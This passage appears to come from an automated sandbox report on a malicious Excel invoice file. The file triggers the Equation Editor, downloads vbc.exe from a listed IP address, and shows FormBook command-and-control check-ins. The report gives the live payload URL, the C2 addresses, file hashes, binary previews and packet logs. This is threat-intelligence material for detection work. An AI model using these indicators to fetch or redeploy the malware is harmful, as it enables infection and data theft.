Report size getting too big, t oo many NtQueryValueKey calls found.

Time Type Description

15:18:43 API Interceptor 102x Sleep call for process: EQNEDT32.EXE modified

General Information

Warnings

Simulations

Behavior and APIs
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15:18:57 API Interceptor 35x Sleep call for process: yldnat.exe modified

15:19:19 API Interceptor 208x Sleep call for process: wuapp.exe modified

15:20:04 API Interceptor 1x Sleep call for process: explorer.exe modified

Time Type Description

⊘ No context

⊘ No context

⊘ No context

⊘ No context

⊘ No context

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Category: downloaded

Size (bytes): 263772

Entropy (8bit): 7.907718436240332

Encrypted: false

SSDEEP: 6144:LOtIO4ysWjl1zKay/DGHe9G78x3c4mfnk1OUgS:LOLSepKvCH78xM4mQOY

MD5: DE76EF6A11A63EFC00B0303888BC0B7F

SHA1: 7AB24456A49F6B61BC54D20A4D9C0B84F3AE696B

SHA-256: FC6EBE8BC215A292BB3DF340A84350CEB2BE7187EFC8E10381235CFA8D82F734

SHA-512: 51A5CF0F640D922EC0D8BF5BA3FCC06B6278E3AC45F07190710C5055A23102A614443641D8B6617775D5A786CCB1E9D10404DFA0E146E6C8EC3481C616214D99

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 51%

Reputation: low

IE Cache URL: 104.168.33.31/75/vbc.exe

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@
..........................PE..L.....Oa.................h....:.....F6............@...........................;...........@...........................................;.P...................................................................................
.........................text....g.......h.................. ..`.rdata...............l..............@..@.data.....9.........................@....ndata........:..........................rsrc...P.....;.....................@..@................
..............................................................................................................................................................................................................................................................................
..................................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: ms-windows metafont .wmf

Category: dropped

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\21AA51C5.wmf
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Size (bytes): 4630

Entropy (8bit): 5.070400845866794

Encrypted: false

SSDEEP: 96:RmljFSTwLmSaj2W67xYK2dlEtF622okgmCCHtkTl9ggBgThsMihEylB8By98Rj:UlRSkCSajh6tL2dlEtFV2VgmVNkTl9gJ

MD5: 1A4FF280B6D51A6ED16C3720AF1CD6EE

SHA1: 277878BEF42DAC8BB79E15D3229D7EEC37CE22D9

SHA-256: E5D86DD19EE52EBE2DA67837BA4C64454E26B7593FAC8003976D74FF848956E7

SHA-512: 3D41BAF77B0BEEF85C112FCBD3BE30E940AF1E586C4F9925DBDD67544C5834ED794D0042A6F6FF272B21D1106D798CBB05FA2848A788A3DAFE9CFBC8574FC
ECA

Malicious: false

Reputation: moderate, very likely benign file

Preview: ...................[R..................................D.^...................-...................".....-...........................".....-.....................-...............$...........o.............................-...............-.......-..................
...-...............$.......W.....i...T.........-...............-.......-.....................-...........>...$.....~.........................z...m.....H.v.....?.........................|...r...f...Z...L...>...0... .............~.....-...............-
.......-.....................-...........6...$.....................................-...?...U...n...........!...!.........................................-...............-.......-.....................-...........8...$.......................s...e.g.\.L.Y./.
[..._...g...p...~.............'.../...L.v.g.i...V...@...'...............-...............-.......-.....................-........... ...$.......................r...{...................................-...............-.......-...........

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: ms-windows metafont .wmf

Category: dropped

Size (bytes): 4630

Entropy (8bit): 5.070400845866794

Encrypted: false

SSDEEP: 96:RmljFSTwLmSaj2W67xYK2dlEtF622okgmCCHtkTl9ggBgThsMihEylB8By98Rj:UlRSkCSajh6tL2dlEtFV2VgmVNkTl9gJ

MD5: 1A4FF280B6D51A6ED16C3720AF1CD6EE

SHA1: 277878BEF42DAC8BB79E15D3229D7EEC37CE22D9

SHA-256: E5D86DD19EE52EBE2DA67837BA4C64454E26B7593FAC8003976D74FF848956E7

SHA-512: 3D41BAF77B0BEEF85C112FCBD3BE30E940AF1E586C4F9925DBDD67544C5834ED794D0042A6F6FF272B21D1106D798CBB05FA2848A788A3DAFE9CFBC8574FC
ECA

Malicious: false

Reputation: moderate, very likely benign file

Preview: ...................[R..................................D.^...................-...................".....-...........................".....-.....................-...............$...........o.............................-...............-.......-..................
...-...............$.......W.....i...T.........-...............-.......-.....................-...........>...$.....~.........................z...m.....H.v.....?.........................|...r...f...Z...L...>...0... .............~.....-...............-
.......-.....................-...........6...$.....................................-...?...U...n...........!...!.........................................-...............-.......-.....................-...........8...$.......................s...e.g.\.L.Y./.
[..._...g...p...~.............'.../...L.v.g.i...V...@...'...............-...............-.......-.....................-........... ...$.......................r...{...................................-...............-.......-...........

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: ms-windows metafont .wmf

Category: dropped

Size (bytes): 1970

Entropy (8bit): 5.125773446782967

Encrypted: false

SSDEEP: 48:KxK48S3oEL48I+KL48uL48kL48tnL48I0L48Ih2L48Ls4fnPK6L48tOL48bCb3RM:KxKS3okSuEtN1O2FfUcM

MD5: 30935B0D56A69E2E57355F8033ADF98B

SHA1: 5F7C13E36023A1B3B3DAF030291C02631347C2AB

SHA-256: 077232D301E2DF2E2702BD9E7323806AC20134F989C8A4102403ECBF5E91485E

SHA-512: 5D633D1EC5559443D3DA5FAD2C0CFC5DBF6A006EF6FBEE8C47595A916A899FBDF713897289E99EE62C07B52CCB61578253791AC57712DF040469F21287A742E9

Malicious: false

Preview: .....F.>...u........R........................u.F.............................-...................".....-...........................".....-....................-...........F...$.!.....!...*...2...9...?...C...F...G...F...C...?...9...2...*...!.
........................................................................................-...............-.......-....................-...............$...[...6._...x.[.......-...............-.......-....................-...............$...o.D...x.#.w.
..G.o.D.....-...............-.......-....................-...............$.........!.V.{...y.............-...............-.......-....................-...............$.....M.w...n.@.[.....M.....-...............-.......-....................-..........
.....$.......f...Q...........-...............-.......-....................-...............$...'.U.....K...'.U.....-...............-.......-....................-...............$.c...u...\...D...,.........j...S...=...%.........x...c...N...:..
.&.v...p...

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000

Category: dropped

Size (bytes): 223752

Entropy (8bit): 3.2805343869701504

Encrypted: false

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5042D1B.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\52D20C60.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\77AC4BD4.emf
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SSDEEP: 1536:gAGsM8yOYZWQ99d99H9999999lN6Hz8iiiiiiiiiiiiiiiPnHnbq+QVwtaKfdL4a:gMMVNSztnZft6rMMVNSztnZft6u

MD5: 8E3A74F7AA420B02D34C69E625969C0A

SHA1: 4743F57F0F702C5B47FA1668D9173E08ADA16448

SHA-256: 0CD83C55739629F98FE6AFD3E25A5BCBB346CBEF58BC592C1260E9F0FA8575A9

SHA-512: ADE6B91E260AFA08CC286471D0AD7BCA82FF5E1FE506D48B37A13E3CDD2717171CDAC38C77CFF18FD4C26CA9470B002B63B7FDDC0466FC6F7010A772BF5570
54

Malicious: false

Preview: ....l................................... EMF.....j..........................8...X....................?......F...........GDIC...............p.........8.........................F...........................A. ...........F.......(........................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
................................................................................................................................................................................................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: ms-windows metafont .wmf

Category: dropped

Size (bytes): 1970

Entropy (8bit): 5.125773446782967

Encrypted: false

SSDEEP: 48:KxK48S3oEL48I+KL48uL48kL48tnL48I0L48Ih2L48Ls4fnPK6L48tOL48bCb3RM:KxKS3okSuEtN1O2FfUcM

MD5: 30935B0D56A69E2E57355F8033ADF98B

SHA1: 5F7C13E36023A1B3B3DAF030291C02631347C2AB

SHA-256: 077232D301E2DF2E2702BD9E7323806AC20134F989C8A4102403ECBF5E91485E

SHA-512: 5D633D1EC5559443D3DA5FAD2C0CFC5DBF6A006EF6FBEE8C47595A916A899FBDF713897289E99EE62C07B52CCB61578253791AC57712DF040469F21287A742E9

Malicious: false

Preview: .....F.>...u........R........................u.F.............................-...................".....-...........................".....-....................-...........F...$.!.....!...*...2...9...?...C...F...G...F...C...?...9...2...*...!.
........................................................................................-...............-.......-....................-...............$...[...6._...x.[.......-...............-.......-....................-...............$...o.D...x.#.w.
..G.o.D.....-...............-.......-....................-...............$.........!.V.{...y.............-...............-.......-....................-...............$.....M.w...n.@.[.....M.....-...............-.......-....................-..........
.....$.......f...Q...........-...............-.......-....................-...............$...'.U.....K...'.U.....-...............-.......-....................-...............$.c...u...\...D...,.........j...S...=...%.........x...c...N...:..
.&.v...p...

Process: C:\Users\Public\vbc.exe

File Type: data

Category: dropped

Size (bytes): 5255

Entropy (8bit): 6.127070531933686

Encrypted: false

SSDEEP: 96:PtzobClet8oviJxTEJ7eusJIzyy+F4q0IqxeEoAe8oUEVsLA3wtPAJmr2DmX:JEueZvMly+iIqxeocsLA3wtPAJmr2DmX

MD5: D4AA661B180DF0D15BB6D0DC8342B8BA

SHA1: 07310F7D0C29CD6A18AE1174578F61B08E2BA844

SHA-256: E12B146FD62913D6650FCAF490CF973008929E47FD247CB3BD75B6E854CFDD89

SHA-512: B423C31088CE987D77CCB2ECFB055674868DD34A995CCA1C5AFFF3CA6F2BFEA0C64037D68132C43735140651CD550507773012C23F142F04B3DE984FD4DAB39
A

Malicious: false

Preview: ....L..b..RKNb|..N%{..\.N%{..\.b|...\....b|...l..l..\.U......\..L..l..l..\.U......\..L..l..l..\.U......\..L..l..l..\.U.)....\%.L!bd..k.w.Mz%..\...\..L..\.b....\..T..\..T... ..w.H...\..L.....\.NK.|.b..w......b..
|..l.H.l.G.l.M.l%.H.l.F.l.C..q.~]...~].Y.b..l..l.G.\....\..|............b...|.CF.\.FCJ....L..PP.N%{..\..\...\.r..\....T... .. ..L..\..\....T....\..L.....}...f.o....}......}{..f.E....K......}.I.f.S...........L..b...N%{..\
..\.....\..\.bd..q..\.....\..\..\.].\....]....%q[.\..w.Hz.......Q...\..w.H .......Q..w.w.Mz%.....U}{..f.....U......\....\.U.l..W....\.bd..q.b|.....\......\.....L..b...N%{..\..\.....\%.\.bd..q..\.....\..\..\.].\.........%
.a.....\..w.Hz.....%.Q.!.\..w.H .....%.Q.!.\..w.H.....%.Q.!.\...w.Gz.....%.Y.!.\..w.H .....%.Q.!w.w.Mz%....%U}...f.....U......\.bd..q..\..T......l..l..l..l..l.......\.bd..q.b|.....\......\.....L..b...\.....\..\
.bd..q..\.....\..\..\.].\.........%q[.\..w.Hz.......Q...\..w.H .......Q..w.w.Mz%.....U}.I.f.....U......\....l..l.....

Process: C:\Users\Public\vbc.exe

File Type: data

Category: dropped

Size (bytes): 175103

Entropy (8bit): 7.987300968800779

Encrypted: false

SSDEEP: 3072:Bj4fQd5wKwOPNwZmWzhCm2iGEOkdF3dpLvhYMDyYKGNqyoryYuhnMW2LkMVmHz8C:RngJOPNKm6hVGEXdFjLBlNqyF3hGVmTP

MD5: 0B70240F412D375469A67F4E364E6EDD

SHA1: 877D66CBFFF0712D91ED65C7545577729B34CB1A

SHA-256: DAAE8081EFFED8BB74D40479D2264D791A8539F1ED8565438640EE6681D5DC64

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8E77A502.wmf

C:\Users\user\AppData\Local\Temp\boswagvgna

C:\Users\user\AppData\Local\Temp\l4nnhna3wvu7agf
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SHA-512: C6980E41D2EA0D85D5A586A32EC6142B301B7E03AC1871587BE5AC00FCA6CEA1680D62262A8656F1B1A4B428567B6BAEE0C05A35C07C8B9EA09594CB067B64
C5

Malicious: false

Preview: ^......&..(3x..^.....\5...x...{......e.d..y.q......2A.m..~..v.......R.v...f.....[..f...~o....)e.).X......w.....5...z.....E...........\.f_.=f..BYbIv.......M...a.J.Q..Ox..C.![~........o.J..4O.epp!.k.k..%B........
alu.Q...w3.....pF-}..=..5........&.].x.*k~.'.....v....^p.{......e.d..y.q......2A.m..F~...uo..e.E.....e..zk>..pp(........uk.m..z.......+Pg....z.....d.Quw.....%......`.-.K[....1..Q....$E.tfp..q_-....C.]
eE..m.>o.o.J..4O.eBR-"+.7Jk|B.......W.@lu.Q..v@3..|...pF[}.d=..5....f....&..Mx..k~.'....4A....^..{......e.d..y.q......2A.m..F~...uo..e.E.....e..zk>..pp(........uk.m..z.......+Pg....z.....d.Q
uw.....%......`.-.K[....1..Q....$E.tfp..q.Ox..C.X~....f..o.J..4O.eBR-"+.kJk%B.......W.@lu.Q..v@3..|...pF[}.d=..5....f....&..Mx..k~.'....4A....^..{......e.d..y.q......2A.m..F~...uo..e.E.....e
..zk>..pp(........uk.m..z.......+Pg....z.....d.Quw.....%......`.-.K[....1..Q....$E.tfp..q.Ox..C.X~....f..o.J..4O.eBR-"+.kJk%B.......W.@lu.Q.

Process: C:\Users\Public\vbc.exe

File Type: data

Category: dropped

Size (bytes): 277368

Entropy (8bit): 7.483346602419937

Encrypted: false

SSDEEP: 6144:kngJOPNKm6hVGEXdFjLBlNqyF3hGVmTb+ecu:kngJOPjcVZBbF8/eB

MD5: C2F526011A8F4C1202583C0F68C272D7

SHA1: 6E43958FE2A7B13C248C45369E6B4113185A1B78

SHA-256: E3AA52846C6BC0E920C12B442E4E08EDE1D409D0A99069A19BB801162204A38B

SHA-512: A1301004F25C78C69FA4BEE2261D2ABDEEAEFAA843EE27841EC41773B3C16597C58E066CDDF4C5F79FBBC964AC0164C77221E954D5FC168EC231C2366FEAE
C07

Malicious: false

Preview: .@......,................"......$1.......@.......@..................................................................................................................................................................................................................
........................G...............a...j...............................................................................................................................U.......................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

Process: C:\Users\Public\vbc.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 80384

Entropy (8bit): 6.294551753702395

Encrypted: false

SSDEEP: 1536:fGTaC+v1UYfr0oxAomP3cX/4pi2sWjcdl5I:Ua5eYD1/ui5lC

MD5: BC3C746DB1D3F8A821BBDF17CA023450

SHA1: 12459C0EF96BDE1490B00FC9C6F09D69FBEC046F

SHA-256: C503A6FBE974E2C177FAFFFC2F2D9F7C26473909A2AB054E305B0E231C54B785

SHA-512: 92A0EBED569EDE2306B15D12389110016FC45073BECA5BD3FF813BEDA7988A042D1827DDF8B985112C3D606AF378DEA952962CB601A85E0EAFA7D696EACCE
CF3

Malicious: true

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w...w...w...%`..w...%^..w...%a.w......w...w..w..p....w..p.~..w..p...
.w..Rich.w..................PE..L...z&~b............................7.............@.......................................@..................................$.......p..................................T...............................@.......
.....................................text...U........................... ..`.rdata...N.......P..................@..@.data... 1...0......................@....rsrc........p.......*..............@..@.reloc...............,............
..@..B..............................................................................................................................................................................................................................................................
..................................................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: CDFV2 Encrypted

Category: dropped

Size (bytes): 95744

Entropy (8bit): 7.922070010958603

Encrypted: false

SSDEEP: 1536:jh2xAtm2bfGDEZDovjNYbzrPyBSSRXSRR411fQGOadB0Lp1j4JjFSOEt8pRRZz:jh2PvWeYmBr4O1ppOIBMsJttzRZz

MD5: 5B4A67AC532A5D8900B815144F0FB845

SHA1: 6DA306004E084780E9F57F3702A5EC22E72FFF6C

SHA-256: 98FC7157DAFDE651C3AB515663E3A91F034B49175E2E2495C00576C4B8E9E96D

SHA-512: 031659B74D92911A76865B5095E75521E69E322838E8636E66E9E365B5BC5AC270F61B3C4B8831DD7D3E16A7318D4B5B3E4379AE6487E81F1FAA8BD9B988164D

Malicious: false

C:\Users\user\AppData\Local\Temp\nss8A2D.tmp

C:\Users\user\AppData\Local\Temp\yldnat.exe

C:\Users\user\AppData\Local\Temp\~DF8200AD3C92400B31.TMP
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Preview: ......................>.......................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
.............................................................................................. ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D.
..E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3::

MD5: BF619EAC0CDF3F68D496EA9344137E8B

SHA1: 5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5

SHA-256: 076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34
BFE

Malicious: false

Preview: ..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3::

MD5: BF619EAC0CDF3F68D496EA9344137E8B

SHA1: 5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5

SHA-256: 076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34
BFE

Malicious: false

Preview: ..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3::

MD5: BF619EAC0CDF3F68D496EA9344137E8B

SHA1: 5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5

SHA-256: 076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34
BFE

Malicious: false

Preview: ..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 165

C:\Users\user\AppData\Local\Temp\~DFA02A15C6E61E2243.TMP

C:\Users\user\AppData\Local\Temp\~DFB8C99282338AF6F8.TMP

C:\Users\user\AppData\Local\Temp\~DFD268A41FBC2DE634.TMP

C:\Users\user\Desktop\~$DL03327INV.xlsx

Copyright Joe Security LLC 2022 Page 21 of 41



Entropy (8bit): 1.4377382811115937

Encrypted: false

SSDEEP: 3:vZ/FFDJw2fV:vBFFGS

MD5: 797869BB881CFBCDAC2064F92B26E46F

SHA1: 61C1B8FBF505956A77E9A79CE74EF5E281B01F4B

SHA-256: D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185

SHA-512: 1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D

Malicious: true

Preview: .user                                                 ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Category: dropped

Size (bytes): 263772

Entropy (8bit): 7.907718436240332

Encrypted: false

SSDEEP: 6144:LOtIO4ysWjl1zKay/DGHe9G78x3c4mfnk1OUgS:LOLSepKvCH78xM4mQOY

MD5: DE76EF6A11A63EFC00B0303888BC0B7F

SHA1: 7AB24456A49F6B61BC54D20A4D9C0B84F3AE696B

SHA-256: FC6EBE8BC215A292BB3DF340A84350CEB2BE7187EFC8E10381235CFA8D82F734

SHA-512: 51A5CF0F640D922EC0D8BF5BA3FCC06B6278E3AC45F07190710C5055A23102A614443641D8B6617775D5A786CCB1E9D10404DFA0E146E6C8EC3481C616214D99

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 51%

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@
..........................PE..L.....Oa.................h....:.....F6............@...........................;...........@...........................................;.P...................................................................................
.........................text....g.......h.................. ..`.rdata...............l..............@..@.data.....9.........................@....ndata........:..........................rsrc...P.....;.....................@..@................
..............................................................................................................................................................................................................................................................................
..................................................

File type: CDFV2 Encrypted

Entropy (8bit): 7.922070010958603

TrID: Generic OLE2 / Multistream Compound File (8008/1) 100.00%

File name: DL03327INV.xlsx

File size: 95744

MD5: 5b4a67ac532a5d8900b815144f0fb845

SHA1: 6da306004e084780e9f57f3702a5ec22e72fff6c

SHA256: 98fc7157dafde651c3ab515663e3a91f034b49175e2e2495c00576c4b8e9e96d

SHA512: 031659b74d92911a76865b5095e75521e69e322838e8636e66e9e365b5bc5ac270f61b3c4b8831dd7d3e16a7318d4b5b3e4379ae6487e81f1faa8bd9b988164d

SSDEEP: 1536:jh2xAtm2bfGDEZDovjNYbzrPyBSSRXSRR411fQGOadB0Lp1j4JjFSOEt8pRRZz:jh2PvWeYmBr4O1ppOIBMsJttzRZz

TLSH: EB93F1C9C16498FDF4FEF67928986921F4686DF7D54497E0A226B00EC738A642BA0D31

File Content 
Preview:

........................>......................................................................................................................................................................................................................................

Icon Hash: e4e2aa8aa4b4bcb4

C:\Users\Public\vbc.exe

Static File Info

General

File Icon

Network Behavior
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Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP

192.168.2.22198.54.117.2
1249175802031412 
05/14/22-
15:20:54.628198

TCP 203141
2

ET TROJAN FormBook CnC Checkin (GET) 49175 80 192.168.2.22 198.54.117.2
12

192.168.2.22198.54.117.2
1249175802031453 
05/14/22-
15:20:54.628198

TCP 203145
3

ET TROJAN FormBook CnC Checkin (GET) 49175 80 192.168.2.22 198.54.117.2
12

192.168.2.22198.54.117.2
1249175802031449 
05/14/22-
15:20:54.628198

TCP 203144
9

ET TROJAN FormBook CnC Checkin (GET) 49175 80 192.168.2.22 198.54.117.2
12

Total Packets: 52

• 53 (DNS)

• 80 (HTTP)

Timestamp Source Port Dest Port Source IP Dest IP

May 14, 2022 15:19:31.412448883 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.526196957 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.526408911 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.529700994 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.645406961 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.645431042 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.645451069 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.645468950 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.645490885 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.645509005 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.645526886 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.645544052 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.645562887 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.645581961 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.645762920 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.691004992 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.759368896 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759432077 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759473085 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759514093 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759553909 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759602070 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759602070 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.759644032 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759649038 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.759686947 CEST 49173 80 192.168.2.22 104.168.33.31

Snort IDS Alerts

Network Port Distribution

TCP Packets
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May 14, 2022 15:19:31.759687901 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759691954 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.759723902 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.759732008 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759738922 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.759773016 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759790897 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.759814024 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759816885 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.759855986 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759860992 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.759896040 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759898901 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.759937048 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.759938002 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.759978056 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.766613007 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873425007 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873451948 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873512030 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873588085 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873610973 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873621941 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873632908 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873634100 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873650074 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873656034 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873668909 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873677969 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873693943 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873702049 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873716116 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873723984 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873735905 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873745918 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873765945 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873766899 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873786926 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873792887 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873807907 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873815060 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873836040 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873836994 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873852015 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873858929 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873868942 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873883009 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873900890 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873903036 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873918056 CEST 49173 80 192.168.2.22 104.168.33.31

